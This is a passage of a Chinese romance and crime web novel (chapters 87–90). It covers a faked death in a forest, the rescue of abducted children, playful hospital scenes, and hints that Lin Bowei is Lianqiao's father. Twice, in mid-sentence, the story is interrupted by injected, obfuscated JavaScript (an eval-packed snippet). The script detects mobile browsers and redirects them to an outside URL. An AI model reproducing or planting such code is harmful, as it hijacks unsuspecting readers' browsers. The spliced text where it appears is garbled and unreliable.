等她跑近以后,才发现,李空山身上都是血,衣服被树枝划烂,衣衫染上血迹。 在他旁边,还有一把鲜血淋漓的刀。 “李空山!” 连翘的心快要从身体里跳出来,惶恐不安,无论她怎么喊李空山、怎么去晃他的手,李空山依旧闭着眼睛,一动不动,没有醒来。 “你对他做什么了!” 连翘的眼泪从眼眶里溢了出来,她一直以为,从清流镇逃离出来的女孩已经变得很坚强,可是此时此刻她才明白,不是的。 在面对自己所在乎的人时,没有人能做到铁石心肠,薄情寡义。 她的眼泪是那么突然,那么猝不及防,以至于她对李空山似乎会彻底离开自己的害怕,也感到惊讶和意外。 “陈黑子!李空山以前好歹也拿你当长辈看过!你凭什么这样对他!他以前那么敬重你,你连他也下死手,你还是人吗!” 蹲在树下的陈黑子一直沉浸在自己世界的悲痛里,耳边总是还回响着录音里自己女儿的声音。 直到听见连翘这番悲痛吼出的话,他才僵硬地抬起头看连翘。 他冷笑一下,无动于衷,“死了就死了呗,有什么大不了的。反正他都被蛇咬了,我再多杀他一个,多背负一条人命,又不是件难事。” “你无耻!” 连翘低下头,重新看躺在地上一动不动的李空山,悲痛出声,“李空山,你醒醒,你醒一醒好不好?”她忐忑地环顾李空山身上被刀划出的大大小小伤口,“你别吓我……” 这一刻,她承认,她是真的害怕了,原来全世界崩塌的感受,是这样的。 “李空山……” 连翘去触碰他脸颊的手在颤抖,眼睫毛被泪水打湿,黏成一簇,她的哭声不断,泪流也不止。 “你没有事的对不对?你快醒来,你别吓我……我错了李空山,我后悔了……” 她低下头,眼泪啪嗒落在他的下巴,浸润伤口上快要干泽的血迹,“我不该把你一个人留在这里,我不该还像当初一样,又一次把你扔下不管,李空山,你快醒来好不好,我后悔了。我承认,那天对你说的话都是假的,那些话都在骗你,能再遇到你,我没有不开心,一点不开心都没有,我怎么可能不开心不乐意……” 眼泪汹涌,不停止地夺眶而出,往下流,连翘的情绪愈发失控,泪水也朦胧她的双眼。 “李空山,你不要留我一个人……我还有好多话没对你讲,好多小秘密没有告诉你……李空山,我都还没告诉你,其实这些年我一直都很想你,你都没有听到,你不能有事……” 她低下了头,重如千斤的悲痛情绪将她的心弦压垮,眼泪就像断线的珠子,落地时铿锵有力,却串联不起她一声不吭离开了他之后的点点滴滴。 哭声回荡在高大的白杨树林里。 停在枝头的鸟雀听闻悲伤,振翅远走。 坐在树下像个死人的陈黑子一动不动,对这边的动静置之不理,好似他已经被这个世界剔除名籍。 “李空山……” 无论连翘怎么喊他的名字,他依然没有反应。 她始终不愿意相信,自己的手在李空山鼻尖前感受不到呼吸。 她哄骗自己,李空山不可能有事,更不可能离开她。 他等了她这么多年,怎么可能随随便便这样轻易离开。 连翘的手捧住李空山冰凉的右脸,眼泪浸湿她的脸颊,她泪眼婆娑,声音嘶哑,“李空山……你快醒来好不好,醒来听我说故事,醒来带我去我们都想去的地方,你不是说,要带我去看海吗? 那天夜里你说的话,我都听见了。李空山……几年前我离开你,是不得不做的选择,可是从此以后的连翘不会再想要再离开你了。 你睁开眼睛看看我好不好?李空山,我们很快就能有属于我们的生活,这是我想要的,这一次,我真的没有骗你……” 泪水朦胧连翘的眼睛,她低下头,悲伤不能自已,悲痛得身子颤抖。 一阵风缓缓吹过,带来独属于竹海的清凉,躺在地上的少年指尖微微一动。 下一秒,他忽然睁开眼睛,闪亮的眸子充满期待看她。 “真的呀?你没骗我?” 他的眼里满是惊喜和期待。 连翘的哭声忽然停止,她难以置信地抬起头去看他。 他还活着,他还没有死。 “李空山!” 连翘泪眼汪汪盯着他,难以置信,委屈,难过,又惊喜。 这一刻,连翘什么都不想说。 前一秒的她还在绝望的世界里,被悲痛所吞噬,下一秒,因李空山的醒来,她的世界忽然有光亮照进来,不再死气沉沉、黯淡。 二话不说,她扑进李空山的怀里,抱住他。 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他感受到颈窝处一片湿润,她的眼泪温热,却又令他心疼。 这一次,李空山相信连翘说的一定是真的,他相信,愿意紧紧抱住他的连翘说的话里,唯独这句绝对不会骗他。 情绪平定些许后,连翘意识到什么,低头去看他侧腰处被血染红的衣角,“我是不是把你伤口弄疼了?” “没有。” 李空山死皮赖脸凑上去,又把她重新抱进自己怀里,“我还想要你再多抱我一会。” 连翘还有所担心,她从李空山怀里离开,一脸担忧,目光落在地面上的那把刀上,“你有没有事?他是不是拿刀捅你了?” 连翘倏忽站起,说什么也要扶李空山起来,声音焦急,“你快跟我一起下山,我们去医院。” 李空山难得见到她这幅为自己担心的模样,不由一笑,出声解释,“尧尧,我真没事,衣服上有血,是因为昨天腰上的伤口刚刚裂开了,至于刀上有血,” 他看向对面不远处树下的陈黑子,“是他自己捅自己。” 连翘明白,李空山刚才故意装死,就是为了故意引她袒露自己的心意,说心里话,但她不明白陈黑子为什么要自杀。 李空山从地上站起,捡起自己的刀,放进手臂绑着的黑色小口袋里,揽住连翘的肩。 “像他这样的人,不配死得这么轻松,他手上沾满的血,他背负的一条条人命,自有法律制裁他。就这样死了,太便宜他了。” 树下的陈黑子一动不动,征征盯着脚下,十几年来,他第一次觉得别人说得对。 远处传来窸窸窣窣的走动声。 穿着警服的一名警察率先发现几人的踪迹,指着这边。 “他们在那儿——” 孙阚平闻言,即刻带人朝李空山和连翘这边赶来。 李空山抬了下头,用眼神示意孙阚平望一蹶不振像个死人蜷缩着的陈黑子看去。 孙阚平明白了他的意思。 李空山偏头看连翘,替她把一缕被风吹乱的头发框到耳后,声音亲和,“尧尧,你不是想去救那些被拐来的孩子吗,刚子和景融那边等很久了,我带你去。” “好。”连翘也偏着头看他,目光温和,里面藏着的是被时光搁置多年的情意。 年少时,他们一个不羁高傲,不服管教,一个处心积虑,为了自己的目的不断往上爬。 时光匆匆溜去,吹过清流镇的那阵风,一路向前,吹到了今天。 他们都慢慢成为了自己所期待的人。 有的事变了,不再似从前,但唯一没变的,是他们的眼眸依然还和从前一样,里面全是彼此。 88. 第 88 章 陈黑子等人把最近拐来的孩子关在一间地下老窖里。 沿着楼梯下去,地窖昏暗无光,被关押在这里的孩子各个不敢吭声,以为来的又是坏人,缩回脑袋,不敢看人。 “小朋友,你们别害怕,现在你们安全了。” 连翘蹲在铁栏的前方,扬起笑容,耐心地向他们解释。 其中一个小女孩因为害怕,不情愿地看她,“你不是人贩子吗?” 连翘还没来得及回答,李空山走到她身后,手搭在连翘的肩上,弯腰回答正前方这个小女孩的话。 “当然不是。这个姐姐长得这么好看,怎么可能是人贩子,”李空山笑着继续往下说,看向身旁的连翘,“她啊,是来救你们出去的。” 小女孩眨了眨眼睛,逐渐放下心里的警惕,其他孩子听到这句话,瞬间变得激动,全都围上来,“真的吗?姐姐,你们是来救我们的?” 情绪上来,有个格外想家的男孩忍不住哇哇哭起来,“姐姐,你们快带我们出去吧,我想爸爸妈妈了——呜呜——” “别哭别哭,我们现在就带你们一起离开这里,你们马上就可以见到自己的爸爸妈妈。” 连翘接过李空山递来的钥匙,将笼子打开,关在里面的孩子蜂拥而出。 守在门口的许弋刚和景融没见过这么多孩子,吓得赶紧提脚让路,免得自己被误伤。 警察就在外面,这些孩子一看到穿着警服的人,便不再害怕,各个变得很开心,很激动,一边哭,一边高呼。 连翘站起来,转身温和地注视着这些被关押的孩子逃出去。 她看着他们,就好像看到很多年前和自己一起被拐卖的另外几个小女孩。 坏人逍遥法外,没有受到应有的惩罚,以至于她们的亡魂一直迟迟不肯从连翘的噩梦里离去。 今日,恶徒终于落网,等待他们的是法律的制裁,而住在连翘梦里的亡魂,也终于可以安息了。 她们会像此刻连翘眼前这些跑出去的孩子一样,重获新生和自由,不用再被关押。 而是像风一样,往远处飞,飞到她们想去的任何一个地方。 从这一刻起,她们自由了。 而连翘也终于可以放过自己,不用再活在当年的恐惧和愧疚里。 李空山偏头看她。 这一刻,连翘的眼里有许多东西,但他知道,浮现在她眼前的那些东西最终都会落地,压在她心头的那块石头,也终于可以不再扼住她的目光和自由。 他伸出手,揽住连翘的肩膀,让她靠向自己。 两人一起注视着眼前活蹦乱跳的孩子们。 “尧尧,从现在起,你只需要为你自己而活了。” 连翘明白李空山想表达的意思,不过,她还是在他的话后面,多补充了一句,余光看向他。 “不止是我,还有你。” “李空山,从此以后,不是我,也不是你,是我们。” “好啊。” 他笑得很开心,或许,这样的话语,从前他只敢在梦里奢求。 而这一刻,他真真切切地从连翘口中听到了这句话。 他想了想,故意把声音拖长,“尧尧,这可是你自己说的,你说了就不能反悔啊,反悔的话,是有代价的。” 连翘没有想过反悔,为了逗他,故意顺着他的话问,“那代价是什么?” 李空山斩钉截铁,他不要她的尧尧天打雷劈,毕竟,他心疼和爱护都还来不及。 “代价就是——对我愧疚一辈子。” 连翘没想到是这回答,不禁一笑,“这算什么代价。” “反正你都这么说了,”李空山侧着身子,绕到她脸前,眼眸泛着亮光,那是他无尽的期待和憧憬,“我以后会一直赖着你,赖你一辈子,这辈子,我都赖定你了,你呀,休想摆脱我。” “没问题。” 连翘也不退步,气定神闲,歪着头看他,嘴角挂着的笑无法放下,“你尽管赖吧,反正我不带怕的。” 李空山“哟嚯”一声,跟着她笑,“这么自信?” “那是当然。” 气氛都已烘托到这儿,李空山环住连翘的腰,把她往自己怀里推,垂下眼帘看她,“尧尧,你以后的身份是什么,知道吗?” “我想想……”她心知肚明,故意摆出一副还要思考的模样。 “应该是——李空山的女朋友。” 李空山听得很满意。 “不是应该,是肯定。” 两人的目光对视,眼里都是彼此,就连身旁的风也变得柔和,山林间鸟雀的鸣叫声也不再聒噪。 他侧着头,往前凑,两人的唇就要碰上。 连翘的心忍不住砰砰直跳。 以前的她虽然和李空山在同一个屋檐下生活了很久,但从未像现在这般,如此近距离地感受彼此呼吸。 虽然紧张,但她一点儿都不抗拒,反而很愿意他的靠近。 恋人就是,除了能走进彼此的心,也能走入对方亲密行为的领地。 连翘闭上眼睛,紧张地等待着下一秒…… “哥!孙阚平带人上来了,正找你呢!” 就在两人的唇即将碰上的那一瞬间,许弋刚忽然从梯子爬下来,用他那独有的大嗓门喊着话。 他刚一落地转身,就看到两人欲贴上又迅速分开的行为。 忽然意识到,自己来的似乎不是时候! 他吓得立即蒙上自己的眼睛,赶紧转身,“哥……哥哥哥,我错了!我什么都没看到!我现在就走!再见!你们继续!” 是连翘吓得赶紧从李空山怀里挣脱。 而像李空山这样厚脸皮的人,从来都不会觉得有什么。 那么好的气氛被许弋刚打破,李空山心里有气,执拗地盯着落荒而逃爬梯子的他,随手捡起一颗小石子甩过去,砸中他刚抬脚离开的那一梯。 “你有本事,就别给我下来。” 连翘若无其事,有意岔开话题,“……那什么,这下面也没事了,刚才他说孙阚平有事找你,那我们就上去吧。” “也行。” 李空山不急,也并不会往心里去,笑着拉起连翘的手,回眸看她,“我听我家尧尧的。” 连翘在前,李空山在后,两人先后沿着梯子爬到了地面,离开地窖。 他拍拍手,不屑地盯着朝自己走来的孙阚平,“你到底什么事?” “没什么事啊。” 孙阚平笑笑,从容开口,握成拳的手撞了下他的肩,那是他们男人间的打招呼方式,“就是过来感谢你,这次多亏你帮忙,不然,我们没法这么快拿下陈黑子和他底下的这些人,更不知道他们把拐来的小孩关在了这儿,谢了啊。” 孙阚平说完,又看向连翘,“也得谢谢你,连翘,你真的是我见过的女孩里,为数不多的很勇敢的一个。” 他看了旁边的李空山一眼,又把目光落在连翘身上,“现在好了,看到你们终成眷属,我也替你们感到开心,你们两个人啊,这一路走来,都不容易。” “哎哎哎,干什么呢,把你的手拿开。” 李空山用力地拍打孙阚平想要和连翘握手的那只手,“这我女朋友,我还在这儿呢,轮得到你来握手吗,眼里还有没有点我的存在了。” “知道是你的,至于这么排外吗。” 孙阚平和李空山从前也算是不打不相识,两人在耍嘴皮子功夫上,都不逊色。 孙阚平回避李空山那仇恨满满、幽怨盯着自己的眼神,不禁笑了下,在连翘面前打小报告,“你家这位啊,真小心眼,以后可不能惯着他。” “要你管。” 李空山端着手,心高气傲。 他让许弋刚把自己的手机拿来,点进相册,找到里面的一张照片,举到孙阚平面前。 那是当初孙阚平初去清流镇时,为了不引起别人怀疑,打扮得像个乞丐,穿得破破烂烂走在大街上的照片。 李空山得意,笑了下,“看见没,你把柄在我手上,你要是哪天让我不满意了,我就把这照片发出去,让所有人看你笑话。” 孙阚平凑近些,仔细打量手机上的这张照片,他简直不敢相信如此落魄的一个人居然是自己。 他站直,有气无处撒,盯着李空山,“你敢偷拍我!” “是啊,有本事你咬我。” 孙阚平:“???” 他要是真咬,不是成了小狗狗吗? 站在两人中间的连翘忍不住笑了。 时光能改变一个人身上的东西有很多,心性、脾气、对梦想的执着、自以为是的狂妄…… 但唯独没能改变掉李空山身上的这股劲儿。 以前他这么无赖,现在还是。 孙阚平气得牙痒痒,两手握成拳头,心里有气,怒火直冲,盯着眼前的李空山。 旁边有人在叫连翘。 连翘往外边看了眼。 再回头时,李空山忽然躲到她身旁,挽住她的手臂,皱着眉,可怜劲满满当当,“尧尧……你看他!他刚刚还想打我!明明知道我腰上有伤,还想要打我,这个人真的好讨厌!” 腰上的伤…… 李空山倒是提醒了连翘。 她忽然想起来,他腰间的伤口崩开,流了很多血,拖到现在都还没有处理。 于是她着急询问。 “李空山,你现在感觉怎么样?疼不疼?不行,不能再拖着,你现在赶紧和我一起下山,我带你去医院。” 那一瞬间,李空山的脑海里划过千万条该如何回答连翘的想法,他盯着连翘,愣了愣,随后顺势把头靠在连翘肩上,“痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679178|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !好痛好痛的!我快不行了,尧尧,好难受,你快带我去医院吧——” 连翘是真的担心,二话不说就牵着他往山脚下走。 离开时,李空山捂着肚子,装模作样,还不忘递给孙阚平一个眼神,满是得意,其中还有炫耀的成分。 孙阚平笑了,忍不住给李空山竖起大拇指,在装可怜这件事上,他是真佩服李空山。 他又气又笑,心想连翘居然还一点儿没看出来。 同事来向孙阚平汇报现场处理的工作,“这些被拐卖的儿童,已经全部送下山了,陆队那边已经派人联系他们的家长,都在去警局的路上。” “好。” 孙阚平双手叉腰,“你继续忙去吧。” 他抬头望天,山林间雾气缭绕,林高如天,人渺小得仿佛被困在林子里,想要穿过像迷宫一样的山林,可谓是一件难事。 可是就是有这样一个人,带着她的不屈和勇气,穿过荆棘,哪怕身上伤痕累累,也依然坚持着,跑出了困住她的局,去拥抱外面更广阔的世界。 那个世界里,有她的舞台和她的光芒万丈。 他也不禁想起当初在路上捡到的,李空山把自己全身家当拿去给她做学费的那个布朗熊娃娃,他明白,李空山能走进连翘的世界,是有原因的。 世上能有几个人能爱别人比爱自己还无私呢。 孙阚平对着天空扬起一抹笑,他由衷地祝福他们。 现场清理结束后,孙阚平再次检查一遍,跟在大部队后面,准备往山脚下走。 刚准备离开,他看到了站在树后面的人影。 他侧了下头,探去目光,“谁啊,出来。” “是我是我,不要动手,那么疑神疑鬼搞哈子咯。” 林帛圩绕过比人还宽的古树走出来,目光依依不舍向山下眺望,注视着走在山腰处匝道、一路小心翼翼扶着李空山的连翘。 孙阚平看到林帛圩这幅样子,直接愣住。 他被人揍得鼻青脸肿的,衣服被刮烂,掉了一块垂在裤腰处,眼睛又青又肿,脸上还鼓了一个包。 很心酸,又有些令人发笑。 好像和李空山手机上他那张照片比起来,此刻的林帛圩还要更胜一筹。 “不是……”孙阚平绕过草藤,走到他面前,“你怎么把你自己搞成这幅样子了?” 林帛圩被打肿的那只眼睛无法完整睁开,只能半闭着,嘴角处还有伤口,只能把声音放轻,小心开口说话,两只手无措地放在身前。 “有坏家伙要抓我们翘翘的嘛,我得缠住那坏家伙,不能让他伤害我们翘翘撒。” “你?” 孙阚平很是诧异,看着林帛圩,从头到尾打量他,有些难以置信,“你一个坐了几十年办公室,从没跟人动过手的人?” “瞧你这话说的,看不起我嗦?” 虽然已经落魄成这样了,林帛圩还是要挽起袖子,证明自己,胸有成竹,“我收拾起人来,也是很得行的好不好?” “行行行。” 孙阚平又问他,“那人呢?” “被我打晕了撒,你们警察把他拖走,带回去审问了。” 孙阚平明白后,点点头,若有所思顺着林帛圩往山腰处眺望的目光看去,最后又把视线落回他身上。 “诶——不过,我有件事很好奇啊,你说你也是年过半百的人了,费劲力气爬上来就为看一眼连翘是否还平安,刚才看到她了,怎么又不上去打个招呼。” 林帛圩有些惭愧,搓搓手,“哎唷你个娃娃懂撒子喃,你看我这幅样子好丑哦,要闹笑话,远远地看看就得行了撒。” “真的?” 孙阚平将信将疑,“可是我怎么觉得,是因为你不敢上去打扰连翘现在的生活?” 林帛圩笑笑,不以为然,把声音抬高,“嗨哟,瞧瞧你说的这是啥子鬼话,啷个可能喃,你想多了。” 孙阚平也一笑,绕开这个话题,“林叔叔。” 此刻,孙阚平眼神里的意味有些令人难以捉摸。 “最开始带连翘来榕城的时候,我曾试过帮她找家人,但很遗憾,我并没有在本市的失踪人口里看到有正在找孩子名为连翘的家庭。不过……” 孙阚平笑笑,直勾勾盯着林帛圩的眼睛,“我倒是看到了有对已离异的夫妇在分别找一个叫林兆熙的孩子,我说的……没错吧?” “除此之外,还有一件很重要的事情。” “据我了解,你年轻时候创业,开了一家中药材公司。” 孙阚平脸上挂着笑,直勾勾注视林帛圩。 林帛圩的笑容忽然僵住,似要从他的眼里看出对自己的威胁。 孙阚平摆摆手,转身离开。 —— “你放心,这是你们的事,我一个外人,不会插手。” 89. 第 89 章 “来,张嘴,啊——” 连翘用叉子叉住一块苹果,往李空山嘴里递。 李空山很听话,乖乖地把嘴张开,心满意足接受连翘的投喂。 此刻,他正躺在医院的病床上,腰上的刀伤经过包扎和处理,目前正处于养伤阶段。 他称心如意地嚼啊嚼,对自己如此这幅遭遇很满意,毕竟,又可以像当初一样,享受到连翘的心疼和悉心照顾。 连翘一边喂他苹果,一边说,“李空山,你还记得吗,以前你老爱打架,我就像现在这样,喂你吃东西。当时啊,他们都说,你非要人喂,跟没长大小孩子一样。” “记得,当然记得。”李空山看着她,轻轻扬起嘴角,“尧尧,那时的我也没想到,自己还真中了那歪门邪道算命的话。” “什么话?”连翘好奇问道。 李空山轻轻一笑,不急不忙看着她说,“他说,我这辈子都离不开你。” 连翘愣了下,笑着说,“这种话你也信?一听就是假的。” “可我觉得他说的就是真的。” 李空山坐起来,继续看着她,“你走的时候,我难过了好久好久,就算我试着去忘记你,试着把你从我脑子里赶走,可是你还在会在我脑子里晃,没日没夜地晃,晃个不停,就好像,你在那里扎根了一样。” “对了,尧尧。” 李空山突然想起来一件事,以前,他有些害羞,没脸当面问她,可如今却不一样了,他的没脸没皮已经进化到下一个水平。 什么都不想,直接出声问她。 “什么事?” 连翘把水果碗放下,好奇看他。 他转转眼睛,往左右两边看去,犹豫几秒开口,突然有些害羞,声音拉长,“……就有一次啊,你非要我去医院,那几天我不是嚷嚷着要洗澡吗,当时你说,让小海来帮我擦擦,可是后来,小海跟我说,帮我擦身子的人不是他。” 话音刚落下,李空山又立刻没脸没皮地凑到连翘眼前,忍不住笑笑,“所以说——那天晚上是你给我擦了身子,是不是?” 连翘被他突如其来的靠近吓得脑袋往后仰了一点点,连带着李空山刚才说的那句话,她的耳根不由自主变红,肆意蔓延,一直烧到了脸颊。 “我……” 突如其来的记忆被唤醒,连翘一时之间,竟不知该如何去解释。 反倒是李空山这个不害臊的,继续拉着她的手,看着她说,“尧尧,我不管,反正我已经被你看光了,你得对我负责,我下辈子都是你的人。” 他牵着她的手轻轻晃,眼里故意流露着委屈,可连翘怎么看,都觉得那是一抹得意的神色。 她感到窘迫和害羞,站起来解释,“不是!你误会了!我不是故意看的!当时小海的电话打不通,我是不得已才那样,再说了,什么看光啊……我……我就帮你擦了一点点好吧,不该擦的地方,我都没擦。” 李空山看她这幅害羞窘迫的模样,越想逗她,抬起头,看向斜上方。 “……哦,这样啊,可是我也没问你,有没有擦不该擦的地方啊……” 他故意摆出一副若有所思的模样,耐人寻味。 “李空山!你能不能正经点。” 连翘急得脸蛋彻底红了,站起来收拾水果碗,想要借此掩饰自己的难为情。 李空山笑着,眷恋地注视她侧影,他不禁低头一笑,他的尧尧怎么这么不禁逗。 “好了,我就是跟你开玩笑的。” 李空山偏头,伸出手去拉她的衣角,“尧尧,你坐回来嘛,再陪我说说话。” 连翘不理他,不是因为不敢看他,而是一想起那个夜晚,心就突然狂跳不止。 当时的悸动、忐忑、紧张,随着她泛红的脸和耳根,一起钻入她的心窝子里。 “尧尧?” 李空山以为她生气了,连忙出声去哄,“我错了,你别不理我行不行,我逗你来着,你别往心里去。” 连翘侧身看他,“我没不高兴,我只是在想……我这么久都没有回去看过奶奶和小海,他们一定生我的气了。” 李空山的目光忽然不知该落在何处,从前的记忆被唤醒,串联起许多个曾经。 他心底一软,目光柔和,“不会,尧尧,他们都在意你,更不会生你的气。” 连翘于他身旁坐下,轻轻地把头靠在他的肩膀,眼眸中流露出遗憾和愧疚。 他的身上有股清冽薄荷味,骨骼硬朗,衣服下的肌肉线条恰到好处,结实而有力,让人忍不住想靠近。 “……李空山,等你伤养好了,我们一起回去看看他们,好不好?” “好。”他轻轻点头,声音如潺潺而流的溪水,不急不躁。 连翘的目光落在地面,黯然神伤,“……一起回去看他们,让我亲口对他们说一声对不起。” 李空山摸摸她的头,动作轻柔,此刻,待在他身旁的,是他的全世界。 “但是你要知道,他们不会怪你,以前不会,现在不会,以后更不会。” “我们都还想着奶奶和小海,那么,他们在天上,一定会看着我们笑。” - 医生说,李空山只是外伤,不用住院观察,回家养伤就行。 可他非说自己伤得很严重,这儿也不舒服,那儿也不舒服,非要医生给他开住院单。 他可怜兮兮看连翘,“尧尧,我是真疼。” 连翘心疼,自然不会去想那么多,也劝医生开住院单,让李空山在医院多观察一段时间,不然出了差错可不行。 医生最终从了两人,他狐疑地盯着李空山,可没见过这么想要在医院的人。 李空山的小心思,医生自然不明白。 可是,有一人愣是看了出来。 谢佟俞得知连翘在医院,火急火燎地赶过来,没想到看到的竟然是连翘在喂李空山吃东西,两人浓情蜜意的。 对他来说,简直是一万次暴击。 他咬牙切齿,冲过去打断两人的甜蜜,“我没看错吧翘翘!你在干什么?你居然在喂他吃东西,你怎么可以喂他吃东西!” “喂喂喂,你又干什么。” 李空山躺在病床上,百无聊赖,不屑盯着谢佟俞,“我女朋友喂我吃东西,天经地义好吧。” “女朋友??” 谢佟俞想也不想就直接反驳李空山,“嚯哟,你这人真是吹牛不打草稿啊,连翘怎么可能是你女朋友,你少往你自己脸上贴金!” 李空山:“……” 他端着手臂,正要解释,连翘放下水果盘回到李空山病床边,帮他整理薄被,不看谢佟俞一眼,“他说的是真的。” 谢佟俞:“……” 他眨眨眼,直接愣在原地,所以,搞了半天,他真的才是多余的那个? 此刻,谢佟俞突然觉得空气凝固,与他作对,像李空山的眼神一眼,驱赶他离开这个房间。 他不打算就此放弃,绕到连翘身侧,“他这人靠谱吗?翘翘,你可得擦亮你的眼睛,别被他这种人骗了!” “你刚刚喊她什么?翘翘?”李空山盯着谢佟俞,宣誓主权,“翘翘也是你能喊的吗?这儿可没你的事,我和她叙叙旧都还来不及,你在这儿闹什么闹,识相点就赶紧走。” “赶我是吧?” 谢佟俞向连翘告状,“你看看他,一点儿礼貌都没有,像他这种人,肯定靠不住!” 连翘没有要训斥李空山的意思,只是适当地表表态,“我觉得他说的没错,李空山,他毕竟好心好意来看看我们,你别对他这么凶。” 他凶? 他这已经算是很客气了。 李空山想,这人不仅赶不走,居然还敢揪他小辫子。 不过,跟李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687645|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空山玩装可怜,谢佟俞还是嫩了点。 李空山没有表示出自己的不服,而是笑着投入连翘的怀里,乖顺地点点头,“好,尧尧,我知道错了,从现在开始,我都对他客客气气的。” 谢佟俞见到眼前这幅画面,情不自禁往前走一步,欲言又止,想要让李空山从连翘怀里离开。 可是他想到他们两人此刻的关系,又后知后觉地收回了脚。 他得承认,在李空山面前的连翘,是他从未见过的——轻松、自在,仿佛做回了真正的那个她,眼里有柔情。 不像他从前认识的连翘——只知道一味地往前冲,眼里总有不屈和执着。 比起得到喜欢的人,他更想看到连翘活得幸福,不要再像以前那般一直赶路,不知停歇。 而且李空山看上去似乎还很顺从连翘,谢佟俞想,也许他不该那么偏激,而是试着去发现李空山身上的优点,承认他能够配得上连翘。 突然,李空山“嘶”了一声,面露难色。 连翘着急,赶紧放下手里的东西,低头对上他往下的目光,“怎么了?” 李空山继续依偎在连翘的怀里,皱着眉,露出痛苦的表情,就连声音听上去也比刚才虚弱不少。 “……尧尧,伤口痛……” “伤口怎么还痛?” 连翘试着掀起他的衣角查看,伤口处缠着纱布,“不是已经过去几天了吗,怎么还没愈合。” “伤口有点深,愈合得比较慢,”李空山继续闭着眼,表演他的难受好戏,“现在我脑袋也晕得很,尧尧,我好不舒服……是不是刚才这个人一直在我耳边叭叭个不停,让我产生了连带的负面反应……” “???” 谢佟俞瞪大眼睛,难以置信地看着李空山。 “很痛吗?” 李空山虚弱地点点头,“嗯……” 连翘立即扭头,看着谢佟俞,“今天实在不好意思,他还在康复阶段,可能需要静养,不适合嘈杂的环境,谢佟俞,不如改天你再来吧,下一次我再给你赔不是。” “没关系,尧尧……”李空山闭着眼,还要装出虚弱得努力睁眼却睁不开的样子,“这样多不好啊,显得是我们待客不周,我可以坚持的,忍一忍就行……” 谢佟俞:“……” 此刻,他看李空山的目光再也没有不服和鄙夷,只有震撼过后的无言以对。 亏他刚才还在劝自己试着去接受连翘能看上他,说明他这个人不赖的事实。 结果…… 他知难而退,看向坐在病床边有些担忧的连翘,“行吧,翘翘,没事,那我今天就先走了,咱们改天再见。” 李空山靠在连翘怀里,趁着连翘去看谢佟俞的间隙,睁开一只眼看他,又迅速把眼睛闭上,有气无力的,“别啊……别急着走嘛,我可以坚持……” 连翘收回目光去看李空山,“好啦,你还想像以前一样逞强?李空山,你得爱惜自己的身体,你不爱惜,我还心疼呢。” “那好吧,”李空山看似终于顺从了她,实则在等这句话已经等了很久,现在,他是这个世界上最得意的人。 谢佟俞眯着眼睛,咬牙切齿,对李空山指指点点,虽然没开口,但李空山读得懂其中的意味。 李空山知道,他是在说——算他很帅。 于是,为了还礼,李空山趁连翘在看别处,冲着谢佟俞一笑,得意地挑眉。 他在宣告——想跟我斗,你还差远了。 谢佟俞走以后,连翘不放心,又一次问李空山感觉怎么样,需不需要叫医生。 李空山顿时坐起,拿起水果盘里的叉子,往自己嘴里放了一块苹果,气定神闲,“没事啊,尧尧,我现在好了,你看我,好得不得了。甚至你现在让我去跑十公里都不是问题。” 连翘:“……” 刚刚的虚弱呢? 90. 第 90 章 出院当天,连翘特地请了一天假,来接李空山。 担心连翘需要帮忙,林帛圩也上医院来,帮忙搬东西。 连翘从病房里出来,步履匆匆,恰好与他碰上,“林叔叔,你这么快就来啦,正好,我现在得下去办理出院手续,你帮我看着点李空山呗?” “没问题。” 林帛圩爽快答应,看向连翘的目光里多了几分慈爱。 于是,连翘离开后,林帛圩就走入病房,搬来一张凳子,在李空山旁边坐下。 李空山坐在床沿边,正无聊地把玩着遥控器调电视节目,见林帛圩来了,兴趣即刻转移,放下遥控器,往旁边挪了挪。 “叔叔你来了啊,来来来,快来坐。” 在来医院探望的人里,林帛圩是李空山态度放好的为数不多的那一个。 林帛圩嘴角挂着笑,从容坐下,两只手交叉放在膝盖上,抬头望着李空山,“真是想不到,我们又见面了。” 李空山态度平和,同样笑着注视眼前的林帛圩,“我也没想到,当初雇我们去保护尧尧的人,居然一直在她身边转悠。” 林帛圩低下头一笑,又重新看他,“那……你是不是已经猜出来了?” 眼前的男人稳重而有涵养,完全不同于连翘向李空山描述的那样——在外招摇撞骗,第一眼看过去,像极了坏人。 李空山没有直接回答他,“叔叔觉得我猜出来了几成?” 林帛圩保持沉默,注视李空山的同时,也静静等待着他继续把话说下去。 李空山的手反撑在身后,微微仰起头,“那我就不和叔叔绕弯子了。你当初雇我们去保护尧尧的时候,我也让人调查过你,都说榕城最大的中药材公司创办人年轻时格外喜爱收藏连翘花,在他的办公室里,也总是会放着连翘。” 两个人目光对视,沉默几秒后,李空山又接着开口。 “她原本的名字不是这个?对不对?” 林帛圩扬起一抹平和的笑,他由衷喜欢李空山这个孩子,话点到为止,不多说一句不该说的让人难堪。 短暂几秒后,林帛圩又看向窗外,他的语调不再似平常那般轻快、跌宕起伏,而是很平稳。 目光里忽地涌上一层愧疚和自责。 “……我,”林帛圩的话断断续续,这么些年里,他从来没跟人提起过那段往事,或者说,是不敢提,“她五岁的时候,我和她的妈妈离了婚,那个时候没什么钱,孩子判给了她妈妈。离婚以后,他妈妈就不再让她和我见面,断绝我和她的一切来往,我只能悄悄去看她。” 